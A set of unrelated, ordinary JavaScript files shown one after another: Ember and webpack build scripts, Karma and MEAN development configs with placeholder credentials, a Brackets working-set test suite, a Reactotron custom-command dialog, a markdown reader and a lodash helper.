/* jshint node: true */ var env = process.env.EMBER_ENV; var babel = require('broccoli-babel-transpiler'); var defeatureify = require('broccoli-defeatureify'); var es3SafeRecast = require('broccoli-es3-safe-recast'); var compileModules = require('broccoli-es6-module-transpiler'); var funnel = require('broccoli-funnel'); var jshint = require('broccoli-jshint'); var merge = require('broccoli-merge-trees'); var replace = require('broccoli-replace'); var concat = require('broccoli-sourcemap-concat'); var uglify = require('broccoli-uglify-js'); var AMDFormatter = require('es6-module-transpiler-amd-formatter'); var PackageResolver = require('es6-module-transpiler-package-resolver'); var version = require('./package.json').version; var path = require('path'); //////////////////////////////////////////////////////////////////////////////// var outputName = 'ember-data.model-fragments'; module.exports = function() { var packages = merge([ packageTree('ember'), packageTree('ember-data'), packageTree('model-fragments') ]); var main = mainTree(packages, outputName); if (env === 'production') { var prod = prodTree(main, outputName); main = merge([ main, prod ], { overwrite: true }); } else { var tests = testTree(packages, outputName); main = merge([ main, tests ]); } return main; }; //////////////////////////////////////////////////////////////////////////////// function mainTree(packages, outputName) { var libFiles = packageSubdirTree(packages, 'lib'); var compiled = compileModules(libFiles, { output: outputName + '.js', resolvers: [ PackageResolver ], formatter: 'bundle' }); compiled = prependLicense(compiled, outputName + '.js'); compiled = versionStamp(compiled); return compiled; } function testTree(packages, outputName) { var testFiles = packageSubdirTree(packages, 'tests'); var helperFiles = addonTree('ember-dev', 'bower_components/'); var compiled = compileModules(merge([ testFiles, helperFiles ]), { output: '/test-output', resolvers: [ PackageResolver ], formatter: new AMDFormatter(), }); var allFiles = funnel(packages, { include: [ '**/*.{js,map}' ], destDir: '/jshint' }); var hinted = hint(allFiles); return concat(merge([ compiled, hinted ]), { inputFiles: [ '**/*.js' ], outputFile: '/' + outputName + '-tests.js' }); } function prodTree(main, outputName) { var es3Safe = es3SafeRecast(main); var stripped = defeatureify(es3Safe, { debugStatements: [ "ember$lib$main$$default.assert", "ember$lib$main$$default.deprecate" ], enableStripDebug: true }); var prod = moveFile(stripped, outputName + '.js', outputName + '.prod.js'); prod = removeSourceMappingURL(prod); var uglified = uglify(prod, { mangle: true }); uglified = moveFile(uglified, outputName + '.prod.js', outputName + '.min.js'); return merge([ uglified, prod ], { overwrite: true }); } function packageTree(packagePath, vendorPath) { return funnel(vendorPath || 'packages', { include: [ packagePath + '/**/*.js' ], }); } function packageSubdirTree(tree, path) { return funnel(tree, { include: [ '**/*/' + path + '/**/*.{js,map}' ] }); } function addonTree(packagePath, vendorPath) { var addonFiles = funnel(path.join(vendorPath, packagePath), { include: [ '**/*.js' ], srcDir: 'addon', destDir: '/' + packagePath }); addonFiles = moveFile(addonFiles, 'index.js', 'main.js'); return babel(addonFiles, { blacklist: [ 'es6.modules' ] }); } function moveFile(tree, srcPath, destPath) { return funnel(tree, { getDestinationPath: function(relativePath) { return relativePath === srcPath ? destPath : relativePath; } }); } function versionStamp(tree) { return replace(tree, { files: ['**/*'], patterns: [{ match: /VERSION_STRING_PLACEHOLDER/g, replacement: version }] }); } function prependLicense(tree, filePath) { var licenseTree = funnel('config', { files: [ 'license.js' ] }); return concat(merge([ licenseTree, tree ]), { inputFiles: [ 'license.js', filePath ], outputFile: filePath }); } function removeSourceMappingURL(tree) { return replace(tree, { files: [ '**/*' ], patterns: [{ match: /\/\/(.*)sourceMappingURL=(.*)/g, replacement: '' }] }); } function hint(tree) { var dirname = path.resolve(path.dirname()); return jshint(tree, { jshintrcPath: path.join(dirname, '.jshintrc') }); }
const formats = require('./formats.js'); module.exports = { noConfigurationObject: 'config must be an object.', noRequiredArguments: 'You need to provide at least config.source and config.destination.', source: { notString: 'config.source must be a string.', notFile: 'config.source must be the path to a file.', }, destination: { notString: 'config.destination must be a string.', notDirectory: 'Could not create directory config.destination. File exists but is not a directory.', notWriteable: 'config.destination does not exist and could not be created. Please check that you have write permissions to the parent.', }, glyphs: { notArray: 'If config.glyphs is not undefined it must be an Array', notNumberOrString: 'Legal types for items in config.glyphs are "number" and "string"', }, basename: { notString: 'If config.basename is not undefined it must be a string.', }, formats: { notArray: 'If config.formats is not undefined it must be an Array', notString: 'Items in config.formats must be of type "string"', notValidFormat: `Valid formats are ${formats.join(', ')}.`, }, scss: { notString: 'If config.scss is not undefined it must be a string.', notWriteable: 'Parent directory of config.scss does not exist and could not be created. Please check that you have write permissions to the parent.', }, callback: { notFunction: 'If config.callback is not undefined it must be a function.', }, };
require('./check-versions')() process.env.NODE_ENV = 'production' const ora = require('ora') const rm = require('rimraf') const path = require('path') const chalk = require('chalk') const webpack = require('webpack') const config = require('../config') const webpackConfig = require('./webpack.prod.conf') const spinner = ora('building for production...') spinner.start() rm(path.join(config.build.assetsRoot, config.build.assetsSubDirectory), err => { if (err) throw err webpack(webpackConfig, function (err, stats) { spinner.stop() if (err) throw err process.stdout.write(stats.toString({ colors: true, modules: false, children: false, chunks: false, chunkModules: false }) + '\n\n') console.log(chalk.cyan(' Build complete.\n')) console.log(chalk.yellow( ' Tip: built files are meant to be served over an HTTP server.\n' + ' Opening index.html over file:// won\'t work.\n' )) }) })
'use strict' var nativeTypes = {} , primitiveNativeTypes = require('./primitiveNativeTypes.js') , Type = require('./Type.js') , RecordType = require('./RecordType.js') , ParameterizedType = require('./ParameterizedType.js') , ArrayType = require('./ArrayType.js') , MapType = require('./MapType.js') , ArgumentsArrayType = require('./ArgumentsArrayType.js') , TypeParameter = require('./TypeParameter.js') Object.keys(primitiveNativeTypes).forEach(function(key) { nativeTypes[key] = primitiveNativeTypes[key] }) var dateType = nativeTypes.dateType = new RecordType() dateType.forConstructor(Date, null, function() { return new Date(0) }) var regExpType = nativeTypes.regExpType = new RecordType() regExpType.forConstructor(RegExp, null) var errorType = nativeTypes.errorType = new RecordType() errorType.forConstructor(Error) var arrayType = nativeTypes.arrayType = new ArrayType() var mapType = nativeTypes.mapType = new MapType() var argumentsArrayType = nativeTypes.argumentsArrayType = new ArgumentsArrayType() module.exports = nativeTypes
// Karma configuration // Generated on Fri May 09 2014 11:16:12 GMT+0200 (CEST) module.exports = function(config) { config.set({ // base path that will be used to resolve all patterns (eg. files, exclude) basePath: '', // frameworks to use // available frameworks: https://npmjs.org/browse/keyword/karma-adapter frameworks: ['jasmine'], // list of files / patterns to load in the browser files: [ ], // list of files to exclude exclude: [ ], // preprocess matching files before serving them to the browser // available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor preprocessors: { }, // test results reporter to use // possible values: 'dots', 'progress' // available reporters: https://npmjs.org/browse/keyword/karma-reporter reporters: ['progress'], // web server port port: 9876, // enable / disable colors in the output (reporters and logs) colors: true, // level of logging // possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG logLevel: config.LOG_INFO, // enable / disable watching file and executing tests whenever any file changes autoWatch: true, // start these browsers // available browser launchers: https://npmjs.org/browse/keyword/karma-launcher browsers: ['Chrome'], // Continuous Integration mode // if true, Karma captures browsers, runs the tests and exits singleRun: false }); };
'use strict'; module.exports = { db: 'mongodb://localhost/mean-logging-example-dev', app: { title: 'mean-logging-example - Development Environment' }, facebook: { clientID: process.env.FACEBOOK_ID || 'APP_ID', clientSecret: process.env.FACEBOOK_SECRET || 'APP_SECRET', callbackURL: '/auth/facebook/callback' }, twitter: { clientID: process.env.TWITTER_KEY || 'CONSUMER_KEY', clientSecret: process.env.TWITTER_SECRET || 'CONSUMER_SECRET', callbackURL: '/auth/twitter/callback' }, google: { clientID: process.env.GOOGLE_ID || 'APP_ID', clientSecret: process.env.GOOGLE_SECRET || 'APP_SECRET', callbackURL: '/auth/google/callback' }, linkedin: { clientID: process.env.LINKEDIN_ID || 'APP_ID', clientSecret: process.env.LINKEDIN_SECRET || 'APP_SECRET', callbackURL: '/auth/linkedin/callback' }, github: { clientID: process.env.GITHUB_ID || 'APP_ID', clientSecret: process.env.GITHUB_SECRET || 'APP_SECRET', callbackURL: '/auth/github/callback' }, mailer: { from: process.env.MAILER_FROM || 'MAILER_FROM', options: { service: process.env.MAILER_SERVICE_PROVIDER || 'MAILER_SERVICE_PROVIDER', auth: { user: process.env.MAILER_EMAIL_ID || 'MAILER_EMAIL_ID', pass: process.env.MAILER_PASSWORD || 'MAILER_PASSWORD' } } } };
/* * Copyright (c) 2012 Adobe Systems Incorporated. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. * */ /*jslint vars: true, plusplus: true, devel: true, browser: true, nomen: true, indent: 4, maxerr: 50 */ /*global $: false, define: false, describe: false, it: false, expect: false, beforeEach: false, afterEach: false, waitsFor: false, runs: false */ define(function (require, exports, module) { 'use strict'; // Load dependent modules from brackets.test var CommandManager, Commands, DocumentManager, FileViewController, SpecRunnerUtils = require("./SpecRunnerUtils.js"); describe("WorkingSetView", function () { var testPath = SpecRunnerUtils.getTestPath("/spec/WorkingSetView-test-files"); var testWindow; beforeEach(function () { SpecRunnerUtils.createTestWindowAndRun(this, function (w) { testWindow = w; // Load module instances from brackets.test CommandManager = testWindow.brackets.test.CommandManager; Commands = testWindow.brackets.test.Commands; DocumentManager = testWindow.brackets.test.DocumentManager; FileViewController = testWindow.brackets.test.FileViewController; // Open a directory SpecRunnerUtils.loadProjectInTestWindow(testPath); }); var workingSetCount = 0; runs(function () { // Initialize: register listeners testWindow.$(DocumentManager).on("workingSetAdd", function (event, addedFile) { workingSetCount++; }); }); var openAndMakeDirty = function (path) { var doc, didOpen = false, gotError = false; // open file runs(function () { FileViewController.openAndSelectDocument(path, FileViewController.PROJECT_MANAGER) .done(function () { didOpen = true; }) .fail(function () { gotError = true; }); }); waitsFor(function () { return didOpen && !gotError; }, "FILE_OPEN on file timeout", 1000); // change editor content to make doc dirty which adds it to the working set runs(function () { doc = DocumentManager.getCurrentDocument(); doc.setText("dirty document"); }); }; openAndMakeDirty(testPath + "/file_one.js"); openAndMakeDirty(testPath + "/file_two.js"); // Wait for both files to be added to the working set waitsFor(function () { return workingSetCount === 2; }, 1000); }); afterEach(function () { SpecRunnerUtils.closeTestWindow(); }); it("should add a list item when a file is dirtied", function () { // check if files are added to work set and dirty icons are present runs(function () { var $listItems = testWindow.$("#open-files-container > ul").children(); expect($listItems.length).toBe(2); expect($listItems.find("a").get(0).text === "file_one.js").toBeTruthy(); expect($listItems.find(".file-status-icon").length).toBe(2); }); }); it("should remove a list item when a file is closed", function () { DocumentManager.getCurrentDocument()._markClean(); // so we can close without a save dialog // close the document var didClose = false, gotError = false; runs(function () { CommandManager.execute(Commands.FILE_CLOSE) .done(function () { didClose = true; }) .fail(function () { gotError = true; }); }); waitsFor(function () { return didClose && !gotError; }, "FILE_OPEN on file timeout", 1000); // check there are no list items runs(function () { var listItems = testWindow.$("#open-files-container > ul").children(); expect(listItems.length).toBe(1); }); }); it("should make a file that is clicked the current one in the editor", function () { runs(function () { var $ = testWindow.$; var secondItem = $($("#open-files-container > ul").children()[1]); secondItem.trigger('click'); var $listItems = $("#open-files-container > ul").children(); expect($($listItems[0]).hasClass("selected")).not.toBeTruthy(); expect($($listItems[1]).hasClass("selected")).toBeTruthy(); }); }); it("should rebuild the ui from the model correctly", function () { // force the test window to initialize to unit test preferences // for just this test runs(function () { localStorage.setItem("doLoadPreferences", true); }); // remove temporary unit test preferences with a single-spec after() this.after(function () { localStorage.removeItem("doLoadPreferences"); }); // close test window while working set has 2 files (see beforeEach()) SpecRunnerUtils.closeTestWindow(); // reopen brackets test window to initialize unit test working set SpecRunnerUtils.createTestWindowAndRun(this, function (w) { testWindow = w; }); var $listItems; // wait for working set to populate waitsFor( function () { // check working set UI list content $listItems = testWindow.$("#open-files-container > ul").children(); return $listItems.length === 2; }, 1000 ); // files should be in the working set runs(function () { expect($listItems.find("a").get(0).text === "file_one.js").toBeTruthy(); expect($listItems.find("a").get(1).text === "file_two.js").toBeTruthy(); // files should be clean expect($listItems.find(".file-status-icon dirty").length).toBe(0); // file_two.js should be active expect($($listItems[1]).hasClass("selected")).toBeTruthy(); }); }); it("should close a file when the user clicks the close button", function () { var $ = testWindow.$; var didClose = false; // make 2nd doc clean var fileList = DocumentManager.getWorkingSet(); runs(function () { var doc0 = DocumentManager.getOpenDocumentForPath(fileList[0].fullPath); var doc1 = DocumentManager.getOpenDocumentForPath(fileList[1].fullPath); doc1._markClean(); // make the first one active DocumentManager.setCurrentDocument(doc0); // hover over and click on close icon of 2nd list item var secondItem = $($("#open-files-container > ul").children()[1]); secondItem.trigger('mouseover'); var closeIcon = secondItem.find(".file-status-icon"); expect(closeIcon.length).toBe(1); // simulate click $(DocumentManager).on("workingSetRemove", function (event, removedFile) { didClose = true; }); closeIcon.trigger('click'); }); waitsFor(function () { return didClose; }, "click on working set close icon timeout", 1000); runs(function () { var $listItems = $("#open-files-container > ul").children(); expect($listItems.length).toBe(1); expect($listItems.find("a").get(0).text === "file_one.js").toBeTruthy(); }); }); it("should remove dirty icon when file becomes clean", function () { runs(function () { // check that dirty icon is removed when docs are cleaned var fileList = DocumentManager.getWorkingSet(); var doc0 = DocumentManager.getOpenDocumentForPath(fileList[0].fullPath); doc0._markClean(); var listItems = testWindow.$("#open-files-container > ul").children(); expect(listItems.find(".file-status-icon dirty").length).toBe(0); }); }); }); });
import React, { Component } from "react" import ReactDOM from "react-dom" import Modal from "react-modal" import { inject, observer } from "mobx-react" import AppStyles from "../Theme/AppStyles" import Colors from "../Theme/Colors" import { shell } from "electron" const ESCAPE_KEYSTROKE = "Esc" const ESCAPE_HINT = "Cancel" const ENTER_KEYSTROKE = "Enter" const ENTER_HINT = "Send" const DIALOG_TITLE = "Custom Command" const INPUT_PLACEHOLDER = "" const FIELD_LABEL = "command" const Styles = { moreInfo: { paddingTop: "1em", fontSize: 12, color: Colors.foreground, }, link: { textDecoration: "none", color: "white", cursor: "pointer", }, } const INSTRUCTIONS = <p>Sends a custom command to your app.</p> @inject("session") @observer class SendCustomDialog extends Component { handleChange = e => { const { session } = this.props session.ui.setCustomMessage(e.target.value) } onMoreInfo = e => { shell.openExternal( "https://github.com/infinitered/reactotron/blob/master/docs/tips.md#custom-commands" ) e.preventDefault() } onAfterOpenModal = () => this.field.focus() render() { const { ui } = this.props.session return ( <Modal isOpen={ui.showSendCustomDialog} onRequestClose={ui.closeSendCustomDialog} onAfterOpen={this.onAfterOpenModal} style={{ content: AppStyles.Modal.content, overlay: AppStyles.Modal.overlay, }} > <div style={AppStyles.Modal.container}> <div style={AppStyles.Modal.header}> <h1 style={AppStyles.Modal.title}>{DIALOG_TITLE}</h1> <div style={AppStyles.Modal.subtitle}>{INSTRUCTIONS}</div> </div> <div style={AppStyles.Modal.body}> <label style={AppStyles.Modal.fieldLabel}>{FIELD_LABEL}</label> <input placeholder={INPUT_PLACEHOLDER} style={AppStyles.Modal.textField} type="text" ref={node => (this.field = node)} value={ui.customMessage} onKeyPress={this.handleKeyPress} onChange={this.handleChange} /> <small style={Styles.moreInfo}> See{" "} <a style={Styles.link} onClick={this.onMoreInfo}> this tip </a>{" "} for creating your own middleware. </small> </div> <div style={AppStyles.Modal.keystrokes}> <div style={AppStyles.Modal.hotkey} onClick={ui.closeSendCustomDialog}> <span style={AppStyles.Modal.keystroke}>{ESCAPE_KEYSTROKE}</span> {ESCAPE_HINT} </div> <div style={AppStyles.Modal.hotkey} onClick={ui.submitCurrentForm}> <span style={AppStyles.Modal.keystroke}>{ENTER_KEYSTROKE}</span> {ENTER_HINT} </div> </div> </div> </Modal> ) } } export default SendCustomDialog
'use strict'; var Fs = require('fs'); var marked = require('./markdown-wrapper'); var htmlToText = require('html-to-text'); /** * Parse the file contents. * * @param {String} fileContents * @return {String} */ var parseFile = function(fileContents) { // Parse the file contents with marked. var html = marked(fileContents); // Replace the missing HTML nodes with the htmlToText module. var text = htmlToText.fromString(html); // Return the parsed text. return text; }; /** * Read and parse the specified file. * * @param {String} filePath * @return {Void} */ var readFile = function(filePath) { // Ensure that filePath parameter is valid. if (typeof filePath !== 'string') { throw new TypeError('The filePath parameter should be a String.'); } // TODO Check if the file exists. // Read the file contents. Fs.readFile(filePath, {encoding: 'utf8'}, function(err, contents) { if (err) { console.log('There was an error.'); return undefined; } // Parse the text. var text = parseFile(contents); // Write the processing result on the stdout. process.stdout.write(text + '\n'); }); }; exports = module.exports = { parseFile: parseFile, readFile: readFile };
var isIndex = require('./isIndex'), isLength = require('./isLength'); /** * The base implementation of `_.at` without support for string collections * and individual key arguments. * * @private * @param {Array|Object} collection The collection to iterate over. * @param {number[]|string[]} props The property names or indexes of elements to pick. * @returns {Array} Returns the new array of picked elements. */ function baseAt(collection, props) { var index = -1, length = collection.length, isArr = isLength(length), propsLength = props.length, result = Array(propsLength); while(++index < propsLength) { var key = props[index]; if (isArr) { result[index] = isIndex(key, length) ? collection[key] : undefined; } else { result[index] = collection[key]; } } return result; } module.exports = baseAt;